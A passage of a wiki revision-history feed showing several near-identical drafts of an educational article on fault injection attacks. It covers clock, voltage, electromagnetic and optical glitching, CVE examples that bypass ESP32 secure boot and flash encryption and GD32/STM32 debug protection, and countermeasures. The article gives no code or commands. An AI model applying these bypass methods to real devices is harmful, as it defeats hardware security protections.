Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
- Proper shielding&lt;br /&gt;
- Proper physical hardening of systems and devices&lt;br /&gt;
- Fault detection mechanisms&lt;br /&gt;
- Resistance against [[Side Channel Attacks]]&lt;br /&gt;
- Redundancy for critical control signals &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8967</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8967"/>
		<updated>2021-12-21T21:38:26Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8966</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8966"/>
		<updated>2021-12-21T21:38:11Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych] [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8959</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8959"/>
		<updated>2021-12-21T20:42:01Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== CVE-2019-15894 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== CVE-2020-15048 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== CVE-2020-13468 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== CVE-2020-15808 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8958</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8958"/>
		<updated>2021-12-21T20:39:14Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8957</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8957"/>
		<updated>2021-12-21T20:38:53Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8956</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8956"/>
		<updated>2021-12-21T20:38:00Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
